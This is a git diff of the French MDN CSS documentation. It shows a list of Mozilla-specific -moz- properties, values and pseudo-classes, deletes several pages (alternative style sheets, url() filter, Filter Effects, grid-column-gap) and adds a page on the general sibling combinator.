  • {{CSSxRef("tab-size","-moz-tab-size")}} {{Experimental_Inline}}
    • -
  • {{CSSxRef("text-align-last","-moz-text-align-last")}}{{Obsolete_Inline("53")}}
    • -
  • {{CSSxRef("text-decoration-color","-moz-text-decoration-color")}}{{Obsolete_Inline("39")}}
    • -
  • {{CSSxRef("text-decoration-line","-moz-text-decoration-line")}}{{Obsolete_Inline("39")}}
    • -
  • {{CSSxRef("text-decoration-style","-moz-text-decoration-style")}}{{Obsolete_Inline("39")}}
    • -
  • {{CSSxRef("text-size-adjust","-moz-text-size-adjust")}} {{Experimental_Inline}}
    • -
  • {{CSSxRef("transform", "-moz-transform")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • -
  • {{CSSxRef("transform-origin", "-moz-transform-origin")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • -
  • {{CSSxRef("transform-style", "-moz-transform-style")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • -
  • {{CSSxRef("transition", "-moz-transition")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • -
  • {{CSSxRef("transition-delay", "-moz-transition-delay")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • -
  • {{CSSxRef("transition-duration", "-moz-transition-duration")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • -
  • {{CSSxRef("transition-property", "-moz-transition-property")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • -
  • {{CSSxRef("transition-timing-function", "-moz-transition-timing-function")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • -
  • {{CSSxRef("user-select","-moz-user-select")}} {{Experimental_Inline}}
    • -
-
- -

Valeurs

- -

Valeurs globales

- -
-
    -
  • {{cssxref("initial","-moz-initial")}}
    • -
-
- -

{{Cssxref("-moz-appearance")}}

- -
-
    -
  • button
    • -
  • button-arrow-down
    • -
  • button-arrow-next
    • -
  • button-arrow-previous
    • -
  • button-arrow-up
    • -
  • button-bevel
    • -
  • checkbox
    • -
  • checkbox-container
    • -
  • checkbox-label
    • -
  • checkmenuitem
    • -
  • dialog
    • -
  • groupbox
    • -
  • listbox
    • -
  • menuarrow
    • -
  • menucheckbox
    • -
  • menuimage
    • -
  • menuitem
    • -
  • menuitemtext
    • -
  • menulist
    • -
  • menulist-button
    • -
  • menulist-text
    • -
  • menulist-textfield
    • -
  • menupopup
    • -
  • menuradio
    • -
  • menuseparator
    • -
  • -moz-mac-unified-toolbar{{Fx_minversion_inline(3.5)}}
    • -
  • -moz-win-borderless-glass
    • -
  • -moz-win-browsertabbar-toolbox{{Fx_minversion_inline(3)}}
    • -
  • -moz-win-communications-toolbox{{Fx_minversion_inline(3)}}
    • -
  • -moz-win-glass
    • -
  • -moz-win-media-toolbox{{Fx_minversion_inline(3)}}
    • -
  • -moz-window-button-box
    • -
  • -moz-window-button-box-maximized
    • -
  • -moz-window-button-close
    • -
  • -moz-window-button-maximize
    • -
  • -moz-window-button-minimize
    • -
  • -moz-window-button-restore
    • -
  • -moz-window-titlebar
    • -
  • -moz-window-titlebar-maximized
    • -
  • progressbar
    • -
  • progresschunk
    • -
  • radio
    • -
  • radio-container
    • -
  • radio-label
    • -
  • radiomenuitem
    • -
  • resizer
    • -
  • resizerpanel
    • -
  • scale-horizontal
    • -
  • scalethumb-horizontal
    • -
  • scalethumb-vertical
    • -
  • scale-vertical
    • -
  • scrollbarbutton-down
    • -
  • scrollbarbutton-left
    • -
  • scrollbarbutton-right
    • -
  • scrollbarbutton-up
    • -
  • scrollbar-small
    • -
  • scrollbarthumb-horizontal
    • -
  • scrollbarthumb-vertical
    • -
  • scrollbartrack-horizontal
    • -
  • scrollbartrack-vertical
    • -
  • separator
    • -
  • spinner
    • -
  • spinner-downbutton
    • -
  • spinner-textfield
    • -
  • spinner-upbutton
    • -
  • statusbar
    • -
  • statusbarpanel
    • -
  • tab
    • -
  • tabpanels
    • -
  • tab-scroll-arrow-back
    • -
  • tab-scroll-arrow-forward
    • -
  • textfield
    • -
  • textfield-multiline
    • -
  • toolbar
    • -
  • toolbarbutton-dropdown
    • -
  • toolbox
    • -
  • tooltip
    • -
  • treeheadercell
    • -
  • treeheadersortarrow
    • -
  • treeitem
    • -
  • treetwisty
    • -
  • treetwistyopen
    • -
  • treeview
    • -
  • window
    • -
-
- -

{{cssxref("background-image")}}

- -
-
    -
  • -

    Dégradés {{Gecko_minversion_inline("1.9.2")}}

    - -
      -
    • {{CSSxRef("linear-gradient","-moz-linear-gradient")}} {{Deprecated_Inline}}
      • -
    • {{CSSxRef("radial-gradient","-moz-radial-gradient")}} {{Deprecated_Inline}}
      • -
    -
    • -
  • -

    Éléments {{gecko_minversion_inline("2.0")}}

    - -
      -
    • {{cssxref("-moz-element")}}
      • -
    -
    • -
  • -

    Sub-images {{gecko_minversion_inline("2.0")}}

    - -
      -
    • {{cssxref("-moz-image-rect")}}
      • -
    -
    • -
-
- -

{{Cssxref("border-color")}}

- -
-
    -
  • -moz-use-text-color {{obsolete_inline}} retiré de Gecko (cf. {{bug(1306214)}}) ; currentcolor doit être utilisée à la place.
    • -
-
- -

{{Cssxref("border-style")}} et {{Cssxref("outline-style")}}

- -
-
    -
  • -moz-bg-inset{{Obsolete_Inline(1.9)}}
    • -
  • -moz-bg-outset{{Obsolete_Inline(1.9)}}
    • -
  • -moz-bg-solid{{Obsolete_Inline(1.9)}}
    • -
-
- -

Mots-clés pour {{cssxref("<color>")}}

- -
-
    -
  • -moz-activehyperlinktext
    • -
  • -moz-hyperlinktext
    • -
  • -moz-visitedhyperlinktext
    • -
  • -moz-buttondefault
    • -
  • -moz-buttonhoverface
    • -
  • -moz-buttonhovertext
    • -
  • -moz-default-background-color{{Gecko_minversion_inline("5.0")}}
    • -
  • -moz-default-color{{Gecko_minversion_inline("5.0")}}
    • -
  • -moz-cellhighlight
    • -
  • -moz-cellhighlighttext
    • -
  • -moz-field
    • -
  • -moz-fieldtext
    • -
  • -moz-dialog
    • -
  • -moz-dialogtext
    • -
  • -moz-dragtargetzone
    • -
  • -moz-mac-accentdarkestshadow
    • -
  • -moz-mac-accentdarkshadow
    • -
  • -moz-mac-accentface
    • -
  • -moz-mac-accentlightesthighlight
    • -
  • -moz-mac-accentlightshadow
    • -
  • -moz-mac-accentregularhighlight
    • -
  • -moz-mac-accentregularshadow
    • -
  • -moz-mac-chrome-active{{Gecko_minversion_inline("1.9.1")}}
    • -
  • -moz-mac-chrome-inactive{{Gecko_minversion_inline("1.9.1")}}
    • -
  • -moz-mac-focusring
    • -
  • -moz-mac-menuselect
    • -
  • -moz-mac-menushadow
    • -
  • -moz-mac-menutextselect
    • -
  • -moz-menuhover
    • -
  • -moz-menuhovertext
    • -
  • -moz-win-communicationstext{{Fx_minversion_inline(3)}}
    • -
  • -moz-win-mediatext{{gecko_minversion_inline(1.9)}}
    • -
  • -moz-nativehyperlinktext{{Gecko_minversion_inline("1.9.1")}}
    • -
-
- -

{{Cssxref("display")}}

- -
-
    -
  • -moz-box {{Deprecated_Inline}}
    • -
  • -moz-inline-block {{Obsolete_Inline}}
    • -
  • -moz-inline-box {{Deprecated_Inline}}
    • -
  • -moz-inline-grid{{Obsolete_Inline(62)}}
    • -
  • -moz-inline-stack{{Obsolete_Inline(62)}}
    • -
  • -moz-inline-table {{Obsolete_Inline}}
    • -
  • -moz-grid{{Obsolete_Inline(62)}}
    • -
  • -moz-grid-group{{Obsolete_Inline(62)}}
    • -
  • -moz-grid-line{{Obsolete_Inline(62)}}
    • -
  • -moz-groupbox{{Obsolete_Inline}}
    • -
  • -moz-deck{{Obsolete_Inline(62)}}
    • -
  • -moz-popup{{Obsolete_Inline(62)}}
    • -
  • -moz-stack{{Obsolete_Inline(62)}}
    • -
  • -moz-marker{{Obsolete_Inline(62)}}
    • -
-
- -

{{cssxref("empty-cells")}}

- -
-
    -
  • -moz-show-background (valeur par défaut en quirks mode)
    • -
-
- -

{{Cssxref("font")}}

- -
-
    -
  • -moz-button
    • -
  • -moz-info
    • -
  • -moz-desktop
    • -
  • -moz-dialog (également une couleur)
    • -
  • -moz-document
    • -
  • -moz-workspace
    • -
  • -moz-window
    • -
  • -moz-list
    • -
  • -moz-pull-down-menu
    • -
  • -moz-field (également une couleur)
    • -
-
- -

{{Cssxref("font-family")}}

- -
-
    -
  • -moz-fixed
    • -
-
- -

{{Cssxref("image-rendering")}}

- -
-
    -
  • {{Cssxref("image-rendering","-moz-crisp-edges")}} {{Gecko_minversion_inline("1.9.2")}}
    • -
-
- -

{{cssxref("<length>")}}

- -
-
    -
  • {{cssxref("-moz-calc")}} {{gecko_minversion_inline("2.0")}}
    • -
-
- -

{{Cssxref("list-style-type")}}

- -
-
    -
  • -moz-arabic-indic
    • -
  • -moz-bengali
    • -
  • -moz-cjk-earthly-branch
    • -
  • -moz-cjk-heavenly-stem
    • -
  • -moz-devanagari
    • -
  • -moz-ethiopic-halehame
    • -
  • -moz-ethiopic-halehame-am
    • -
  • -moz-ethiopic-halehame-ti-er
    • -
  • -moz-ethiopic-halehame-ti-et
    • -
  • -moz-ethiopic-numeric
    • -
  • -moz-gujarati
    • -
  • -moz-gurmukhi
    • -
  • -moz-hangul
    • -
  • -moz-hangul-consonant
    • -
  • -moz-japanese-formal
    • -
  • -moz-japanese-informal
    • -
  • -moz-kannada
    • -
  • -moz-khmer
    • -
  • -moz-lao
    • -
  • -moz-malayalam
    • -
  • -moz-myanmar
    • -
  • -moz-oriya
    • -
  • -moz-persian
    • -
  • -moz-simp-chinese-formal
    • -
  • -moz-simp-chinese-informal
    • -
  • -moz-tamil
    • -
  • -moz-telugu
    • -
  • -moz-thai
    • -
  • -moz-trad-chinese-formal
    • -
  • -moz-trad-chinese-informal
    • -
  • -moz-urdu
    • -
-
- -

{{Cssxref("overflow")}}

- -
-
    -
  • {{Cssxref("-moz-scrollbars-none")}} {{obsolete_inline}}
    • -
  • {{Cssxref("-moz-scrollbars-horizontal")}} {{Deprecated_inline}}
    • -
  • {{Cssxref("-moz-scrollbars-vertical")}} {{Deprecated_inline}}
    • -
  • {{Cssxref("-moz-hidden-unscrollable")}}
    • -
-
- -

{{Cssxref("text-align")}}

- -
-
    -
  • -moz-center
    • -
  • -moz-left
    • -
  • -moz-right
    • -
-
- -

{{Cssxref("text-decoration")}}

- -
-
    -
  • -moz-anchor-decoration
    • -
-
- -

{{Cssxref("-moz-user-select")}}

- -
-
    -
  • -moz-all
    • -
  • -moz-none
    • -
-
- -

{{Cssxref("width")}}, {{Cssxref("min-width")}}, and {{Cssxref("max-width")}}

- -
-
    -
  • -moz-min-content {{Fx_minversion_inline(3)}}
    • -
  • -moz-fit-content {{Fx_minversion_inline(3)}}
    • -
  • -moz-max-content {{Fx_minversion_inline(3)}}
    • -
  • -moz-available {{Fx_minversion_inline(3)}}
    • -
-
- -

Pseudo-éléments et pseudo-classes

- -
-
    -
  • -

    A – D

    -
    • -
  • {{CSSxRef("::-moz-anonymous-block")}} eg@:- bug 331432
    • -
  • {{CSSxRef("::-moz-anonymous-positioned-block")}}
    • -
  • {{CSSxRef(":-moz-any")}}{{gecko_minversion_inline("2.0")}}
    • -
  • {{CSSxRef(":-moz-any-link")}} [Matches :link and :visited]
    • -
  • {{CSSxRef(":-moz-broken")}}{{gecko_minversion_inline("1.9")}}
    • -
  • {{CSSxRef("::-moz-canvas")}}
    • -
  • {{CSSxRef("::-moz-color-swatch")}}
    • -
  • {{CSSxRef("::-moz-cell-content")}}
    • -
  • {{CSSxRef(":-moz-drag-over")}}
    • -
  • -

    F – I

    -
    • -
  • {{CSSxRef(":-moz-first-node")}}
    • -
  • {{CSSxRef("::-moz-focus-inner")}}
    • -
  • {{CSSxRef("::-moz-focus-outer")}}
    • -
  • {{CSSxRef(":-moz-focusring")}}{{gecko_minversion_inline("2.0")}}
    • -
  • {{CSSxRef(":-moz-full-screen")}}{{gecko_minversion_inline("9.0")}}
    • -
  • {{CSSxRef(":-moz-full-screen-ancestor")}}{{gecko_minversion_inline("10.0")}}
    • -
  • {{CSSxRef(":-moz-handler-blocked")}}{{gecko_minversion_inline("1.9.1")}}
    • -
  • {{CSSxRef(":-moz-handler-crashed")}}{{gecko_minversion_inline("2.0")}}
    • -
  • {{CSSxRef(":-moz-handler-disabled")}}{{gecko_minversion_inline("1.9.1")}}
    • -
  • {{CSSxRef("::-moz-inline-table")}}
    • -
  • -

    L

    -
    • -
  • {{CSSxRef(":-moz-last-node")}}
    • -
  • {{CSSxRef(":-moz-list-bullet")}}
    • -
  • {{CSSxRef(":-moz-list-number")}}
    • -
  • {{CSSxRef(":-moz-loading")}}{{gecko_minversion_inline("1.9")}}
    • -
  • {{CSSxRef(":-moz-locale-dir(ltr)")}}{{gecko_minversion_inline("1.9.2")}}
    • -
  • {{CSSxRef(":-moz-locale-dir(rtl)")}}{{gecko_minversion_inline("1.9.2")}}
    • -
  • {{CSSxRef(":-moz-lwtheme")}}{{gecko_minversion_inline("1.9.2")}}
    • -
  • {{CSSxRef(":-moz-lwtheme-brighttext")}}{{gecko_minversion_inline("1.9.2")}}
    • -
  • {{CSSxRef(":-moz-lwtheme-darktext")}}{{gecko_minversion_inline("1.9.2")}}
    • -
  • -

    N – R

    -
    • -
  • {{CSSxRef(":-moz-native-anonymous")}}{{gecko_minversion_inline("36")}}
    • -
  • {{CSSxRef(":-moz-only-whitespace")}}
    • -
  • {{CSSxRef("::-moz-page")}}
    • -
  • {{CSSxRef("::-moz-page-sequence")}}
    • -
  • {{CSSxRef("::-moz-pagebreak")}}
    • -
  • {{CSSxRef("::-moz-pagecontent")}}
    • -
  • {{CSSxRef(":-moz-placeholder")}}{{gecko_minversion_inline("1.9")}}{{Obsolete_Inline("51")}}
    • -
  • {{CSSxRef("::-moz-placeholder")}}{{gecko_minversion_inline("19")}}{{Deprecated_Inline("51")}}
    • -
  • {{CSSxRef("::-moz-progress-bar")}}
    • -
  • {{CSSxRef("::-moz-range-progress")}}
    • -
  • {{CSSxRef("::-moz-range-thumb")}}
    • -
  • {{CSSxRef("::-moz-range-track")}}
    • -
  • {{CSSxRef(":-moz-read-only")}}
    • -
  • {{CSSxRef(":-moz-read-write")}}
    • -
  • -

    S

    -
    • -
  • {{CSSxRef("::-moz-scrolled-canvas")}}
    • -
  • {{CSSxRef("::-moz-scrolled-content")}}
    • -
  • {{CSSxRef("::-moz-scrolled-page-sequence")}}
    • -
  • {{CSSxRef("::selection","::-moz-selection")}}{{Deprecated_Inline(62)}}
    • -
  • {{CSSxRef(":-moz-submit-invalid")}}{{gecko_minversion_inline("2.0")}}
    • -
  • {{CSSxRef(":-moz-suppressed")}}{{gecko_minversion_inline("1.9")}}
    • -
  • {{CSSxRef("::-moz-svg-foreign-content")}}
    • -
  • -

    T

    -
    • -
  • {{CSSxRef("::-moz-table")}}
    • -
  • {{CSSxRef("::-moz-table-cell")}}
    • -
  • {{CSSxRef("::-moz-table-column")}}
    • -
  • {{CSSxRef("::-moz-table-column-group")}}
    • -
  • {{CSSxRef("::-moz-table-outer")}}
    • -
  • {{CSSxRef("::-moz-table-row")}}
    • -
  • {{CSSxRef("::-moz-table-row-group")}}
    • -
  • {{CSSxRef(":-moz-tree-cell")}}
    • -
  • {{CSSxRef(":-moz-tree-cell-text")}}
    • -
  • {{CSSxRef(":-moz-tree-cell-text(hover)")}}{{gecko_minversion_inline("1.9")}}
    • -
  • {{CSSxRef(":-moz-tree-checkbox")}}
    • -
  • {{CSSxRef(":-moz-tree-column")}}
    • -
  • {{CSSxRef(":-moz-tree-drop-feedback")}}
    • -
  • {{CSSxRef(":-moz-tree-image")}}
    • -
  • {{CSSxRef(":-moz-tree-indentation")}}
    • -
  • {{CSSxRef(":-moz-tree-line")}}
    • -
  • {{CSSxRef(":-moz-tree-progressmeter")}}
    • -
  • {{CSSxRef(":-moz-tree-row")}}
    • -
  • {{CSSxRef(":-moz-tree-row(hover)")}}{{gecko_minversion_inline("1.9")}}
    • -
  • {{CSSxRef(":-moz-tree-separator")}}
    • -
  • {{CSSxRef(":-moz-tree-twisty")}}
    • -
  • -

    U – X

    -
    • -
  • {{CSSxRef(":-moz-ui-invalid")}}{{gecko_minversion_inline("2.0")}}
    • -
  • {{CSSxRef(":-moz-ui-valid")}}{{gecko_minversion_inline("2.0")}}
    • -
  • {{CSSxRef(":-moz-user-disabled")}}{{gecko_minversion_inline("1.9")}}
    • -
  • {{CSSxRef("::-moz-viewport")}}
    • -
  • {{CSSxRef("::-moz-viewport-scroll")}}
    • -
  • {{CSSxRef(":-moz-window-inactive")}}{{gecko_minversion_inline("2.0")}}
    • -
  • {{CSSxRef("::-moz-xul-anonymous-block")}}
    • -
-
- -

Règles @

- -
-
    -
  • {{Cssxref("@-moz-document")}}
    • -
-
- -

Caractéristiques

- -
-
    -
  • {{CSSxRef("@media/-moz-mac-graphite-theme", "-moz-mac-graphite-theme")}}{{gecko_minversion_inline("1.9.2")}}
    • -
  • {{CSSxRef("@media/-moz-maemo-classic", "-moz-maemo-classic")}}{{gecko_minversion_inline("1.9.2")}}
    • -
  • {{CSSxRef("@media/-moz-device-pixel-ratio", "-moz-device-pixel-ratio")}}{{gecko_minversion_inline("2.0")}}
    • -
  • {{CSSxRef("@media/-moz-os-version", "-moz-os-version")}}
    • -
  • {{CSSxRef("@media/-moz-scrollbar-end-backward", "-moz-scrollbar-end-backward")}}{{gecko_minversion_inline("1.9.2")}}
    • -
  • {{CSSxRef("@media/-moz-scrollbar-end-forward", "-moz-scrollbar-end-forward")}}{{gecko_minversion_inline("1.9.2")}}
    • -
  • {{CSSxRef("@media/-moz-scrollbar-start-backward", "-moz-scrollbar-start-backward")}}{{gecko_minversion_inline("1.9.2")}}
    • -
  • {{CSSxRef("@media/-moz-scrollbar-start-forward", "-moz-scrollbar-start-forward")}}{{gecko_minversion_inline("1.9.2")}}
    • -
  • {{CSSxRef("@media/-moz-scrollbar-thumb-proportional", "-moz-scrollbar-thumb-proportional")}}{{gecko_minversion_inline("1.9.2")}}
    • -
  • {{CSSxRef("@media/-moz-touch-enabled", "-moz-touch-enabled")}}{{gecko_minversion_inline("1.9.2")}}
    • -
  • {{CSSxRef("@media/-moz-windows-accent-color-in-titlebar", "-moz-windows-accent-color-in-titlebar")}}
    • -
  • {{CSSxRef("@media/-moz-windows-classic", "-moz-windows-classic")}}{{gecko_minversion_inline("1.9.2")}}
    • -
  • {{CSSxRef("@media/-moz-windows-compositor", "-moz-windows-compositor")}}{{gecko_minversion_inline("1.9.2")}}
    • -
  • {{CSSxRef("@media/-moz-windows-default-theme", "-moz-windows-default-theme")}}{{gecko_minversion_inline("1.9.2")}}
    • -
  • {{CSSxRef("@media/-moz-windows-glass", "-moz-windows-glass")}}
    • -
  • {{CSSxRef("@media/-moz-windows-theme", "-moz-windows-theme")}}{{gecko_minversion_inline("2.0")}}
    • -
-
- -

Autres

- -
-
    -
  • {{Cssxref("-moz-alt-content")}} {{Bug("11011")}}
    • -
-
- -

Voir aussi

- - diff --git a/files/fr/web/css/feuilles_de_style_alternatives/index.html b/files/fr/web/css/feuilles_de_style_alternatives/index.html deleted file mode 100644 index cc96a123e1..0000000000 --- a/files/fr/web/css/feuilles_de_style_alternatives/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Feuilles de style alternatives -slug: Web/CSS/Feuilles_de_style_alternatives -tags: - - CSS - - NeedsCompatTable - - Reference -translation_of: Web/CSS/Alternative_style_sheets ---- -
{{CSSRef}}
- -

En proposant des feuilles de style alternatives, une page web permet à ses utilisateurs de pouvoir choisir parmi différentes version d'une page selon leurs besoins ou leurs préférences.

- -

Firefox permet à l'utilisateur de sélectionner le style de la page en utilisant le menu « Affichage > Style de la page », Internet Explorer possède également cette fonctionnalité (depuis IE8), accesssible via « Affichage > Style de la page ». Pour Chrome, il est nécessaire d'utiliser une extension afin de pouvoir utiliser cette fonctionnalité. La page web peut également fournir un élément d'interface utilisateur afin de permettre à l'utilisateur de passer d'un style à un autre.

- -

Exemple d'application : définir des feuilles de style alternatives

- -

Pour indiquer des feuilles de style alternatives, on utilisera un élément {{HTMLElement("link")}} avec les attributs rel="stylesheet alternate" et title="...". Ainsi :

- -
<link href="reset.css" rel="stylesheet" type="text/css">
-
-<link href="default.css" rel="stylesheet" type="text/css" title="Style par défaut">
-<link href="joli.css" rel="alternate stylesheet" type="text/css" title="Joli">
-<link href="basique.css" rel="alternate stylesheet" type="text/css" title="Basique">
-
- -

Dans cet exemple, les styles « Style par défaut », « Joli » et « Basique » seront listés dans le menu « Style de la page ». C'est le style par défaut (il n'y a pas de composante alternate pour l'attribut rel) qui sera sélectionné. Lorsque l'utilisateur choisit un autre style, la page est alors immédiatement affichée avec cette feuille de style.

- -

Quel que soit la mise en forme choisie, les règles provenant de la feuille reset.css seront toujours appliquées.

- -

Détails

- -

Une feuille de style fera partie d'une de ces trois catégories :

- -
    -
  • Persistante (aucun rel="alternate", aucun title="") : la feuille de style s'applique au document quoi qu'il arrive
    • -
  • Préférée (aucun rel="alternate", un attribut title="..." défini) : la feuille de style est appliquée par défaut mais est désactivée si une autre feuille de style est sélectionnée. Il ne peut y avoir qu'une seule feuille de style préférée. Si plusieurs feuilles de style sont fournies avec différentes valeurs pour l'attribut title, certaines seront ignorées.
    • -
  • Alternative (rel="stylesheet alternate", un attribut title="..." défini) : la feuille de style est désactivée par défaut mais peut être sélectionnée.
    • -
- -

Lorsqu'une feuille de style contient un attribut title sur l'élément {{HTMLElement("link", "<link rel=\"stylesheet\">")}} ou sur l'élément {{HTMLElement("style")}}, ce titre est l'une des options proposées à l'utilisateur. Les feuilles de style qui contiennent le même titre (title a la même valeur) s'appliqueront toutes pour ce choix. Enfin, les feuilles de style qui n'ont aucun attribut title seront toujours appliquées.

- -

On utilisera rel="stylesheet" pour pointer vers la feuille de style par défaut et rel="alternate stylesheet" pour pointer vers les feuilles de style alternatives. Cela permet à l'agent utilisateur de savoir quelle feuille doit être appliquée par défaut ; c'est aussi cette valeur qui sera utilisée pour les navigateurs qui ne prennent pas en charge cette fonctionnalité.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('CSSOM', '#css-style-sheet-collections', 'CSS Style Sheet Collections')}}{{Spec2('CSSOM')}}La spécification CSS OM définit les concepts de nom d'ensemble de feuilles de style, le marqueur « désactivé » et le nom d'ensemble de feuilles de style CSS préférées.
- Cette spécification définit comment ces concepts sont déterminés, elle laisse à la spécification HTML le soin de définir les comportements spécifiques à HTML qui doit notamment définir quand est créée une feuille de style CSS.
-

{{SpecName('HTML WHATWG', 'semantics.html#link-type-stylesheet', 'Link type "stylesheet"')}}
- {{SpecName('HTML WHATWG', 'semantics.html#attr-style-title', 'The style element')}}
- {{SpecName('HTML WHATWG', 'semantics.html#attr-meta-http-equiv-default-style', 'Default style state (http-equiv="default-style")')}}

- 		{{Spec2('HTML WHATWG')}}La spécification HTML définit quand et comment créer un algorithme déterminant la feuille de style CSS et qui gère les éléments <link> et <style>. Elle définit également le comportement de <meta http-equiv="default-style">.
{{SpecName("HTML4.01", "present/styles.html#h-14.3", "Alternative style sheets")}}{{Spec2("HTML4.01")}}La spécification HTML définit le concept de feuilles de style préférées et alternatives.
diff --git a/files/fr/web/css/filter-function/url/index.html b/files/fr/web/css/filter-function/url/index.html deleted file mode 100644 index a31d8c3342..0000000000 --- a/files/fr/web/css/filter-function/url/index.html +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: url() -slug: Web/CSS/filter-function/url -tags: - - CSS - - Junk - - Reference -translation_of: Web/CSS/url() -translation_of_original: Web/CSS/filter-function/url ---- -
{{CSSRef}}
- -

La fonction url() permet d'utiliser un filtre SVG afin de modifier l'apparence d'une image.

- -

Syntaxe

- -
url(emplacement)
- -

Paramètres

- -
-
emplacement
-
L'URL ({{cssxref("<url>")}}) d'un fichier {{glossary("XML")}} qui définit un filtre SVG. On peut ajouter une ancre sur cette URL afin d'indiquer un filtre spécifique.
-
- -

Exemple

- -
url(ressources.svg#c1)
- -

Voir aussi

- -
    -
  • {{cssxref("<filter-function>")}}
    • -
diff --git a/files/fr/web/css/filters_effects/index.html b/files/fr/web/css/filters_effects/index.html deleted file mode 100644 index 6976999a5f..0000000000 --- a/files/fr/web/css/filters_effects/index.html +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: Filters Effects -slug: Web/CSS/Filters_Effects -tags: - - CSS - - Reference -translation_of: Web/CSS/Filter_Effects -translation_of_original: Web/CSS/Filters_Effects ---- -
{{CSSRef}}
- -

Filter Effects (ou module des effets de filtre) est un module CSS qui définit une manière de traiter le rendu des éléments avant qu'ils ne soient affichés dans le document.

- -

Référence

- -

Propriétés CSS

- -
-
    -
  • {{cssxref("filter")}}
    • -
-
- -

Fonctions CSS

- -
-
    -
  • {{cssxref("filter", "blur()", "#blur()")}}
    • -
  • {{cssxref("filter", "brightness()", "#brightness()")}}
    • -
  • {{cssxref("filter", "contrast()", "#contrast()")}}
    • -
  • {{cssxref("filter", "drop-shadow()", "#drop-shadow()")}}
    • -
  • {{cssxref("filter", "grayscale()", "#grayscale()")}}
    • -
  • {{cssxref("filter", "hue-rotate()", "#hue-rotate()")}}
    • -
  • {{cssxref("filter", "invert()", "#invert()")}}
    • -
  • {{cssxref("filter", "opacity()", "#opacity()")}}
    • -
  • {{cssxref("filter", "saturate()", "#saturate()")}}
    • -
  • {{cssxref("filter", "sepia()", "#sepia()")}}
    • -
  • {{cssxref("filter", "url()", "#url()")}}
    • -
-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Filters 1.0', '#FilterProperty', 'filter')}}{{Spec2('Filters 1.0')}}Définition initiale.
- -

Compatibilité des navigateurs

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeFirefox (Gecko)EdgeInternet ExplorerOperaSafari (WebKit)
Support simple{{CompatChrome("18.0")}}{{property_prefix("-webkit")}}{{CompatGeckoDesktop(35)}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatOpera("15.0")}}{{property_prefix("-webkit")}}{{CompatSafari("6.0")}}{{property_prefix("-webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéAndroidFirefox Mobile (Gecko)EdgeIE MobileOpera MobileSafari Mobile
Support simle{{CompatAndroid("4.4")}}{{property_prefix("-webkit")}}{{CompatGeckoDesktop(35)}}{{CompatVersionUnknown}}{{CompatNo}}22.0 {{CompatVersionUnknown}}{{property_prefix("-webkit")}} -

6.0 {{CompatVersionUnknown}}{{property_prefix("-webkit")}}

-
-
diff --git a/files/fr/web/css/general_sibling_combinator/index.html b/files/fr/web/css/general_sibling_combinator/index.html new file mode 100644 index 0000000000..ea97bdbf67 --- /dev/null +++ b/files/fr/web/css/general_sibling_combinator/index.html @@ -0,0 +1,81 @@ +--- +title: Sélecteurs de voisins généraux +slug: Web/CSS/Sélecteurs_de_voisins_généraux +tags: + - CSS + - Débutant + - Reference + - Sélecteur +translation_of: Web/CSS/General_sibling_combinator +--- +
{{CSSRef("Selectors")}}
+ +

Le combinateur ~ permet de séparer deux sélecteurs et de cibler un élément si celui-ci correspond au second sélecteur et est précédé (mais pas forcément voisin immédiat) d'un autre élément correspondant au premier sélecteur qui partage le même parent. Les deux éléments sont des fils d'un même parent {{domxref("Element")}}, voisins immédiats ou pas.

+ +
/* Parmi tous les éléments <img>, cibler tous
+   éléments <p> qui les suivent. */
+img ~ p {
+  color: red;
+}
+ +

Syntaxe

+ +
premier_element ~ second_element { propriétés de style }
+
+ +

Exemples

+ +

CSS

+ +
p ~ span {
+  color: red;
+}
+ +

HTML

+ +
<span>Ici, ce n'est pas rouge.</span>
+<p>Voici un paragraphe.</p>
+<code>Un peu de code.</code>
+<span>Et un autre span.</span>
+<code>Encore du code</code>
+<span>Ici aussi, c'est rouge</span>
+ +

Résultat

+ +

{{EmbedLiveSample('Exemples', 280, 120)}}

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('CSS4 Selectors', '#general-sibling-combinators', 'following-sibling combinator')}}{{Spec2('CSS4 Selectors')}}Ce combinateur est renommé en « subsequent-sibling combinator ».
{{SpecName('CSS3 Selectors', '#general-sibling-combinators', 'general sibling combinator')}}{{Spec2('CSS3 Selectors')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("css.selectors.general_sibling")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/css/grid-column-gap/index.html b/files/fr/web/css/grid-column-gap/index.html deleted file mode 100644 index 05b3e559d2..0000000000 --- a/files/fr/web/css/grid-column-gap/index.html +++ /dev/null @@ -1,128 +0,0 @@ ---- -title: grid-column-gap -slug: Web/CSS/grid-column-gap -tags: - - CSS - - Propriété - - Reference -translation_of: Web/CSS/column-gap -translation_of_original: Web/CSS/grid-column-gap ---- -
{{CSSRef}}{{Deprecated_Header}}
- -
-

Note : La propriété grid-column-gap a été fusionnée avec la propriété {{cssxref("column-gap")}} afin d'être remplacée par cette dernière.

-
- -

La propriété grid-column-gap définit l'espacement entre les colonnes d'une grille.

- -
{{EmbedInteractiveExample("pages/css/grid-column-gap.html")}}
- - - -

En termes de dimensionnement, cet espace est traité comme une piste supplémentaire de la longueur indiquée. Les valeurs négatives ne sont pas autorisées.

- -

Syntaxe

- -
/* Valeurs de longueur */
-grid-column-gap: 20px;
-grid-column-gap: 1em;
-grid-column-gap: 3vmin;
-grid-column-gap: 0.5cm;
-
-/* Valeurs relatives à la taille */
-/* de l'élément englobant        */
-/* Type <percentage>             */
-grid-column-gap: 10%;
-
-/* Valeurs globales */
-grid-column-gap: inherit;
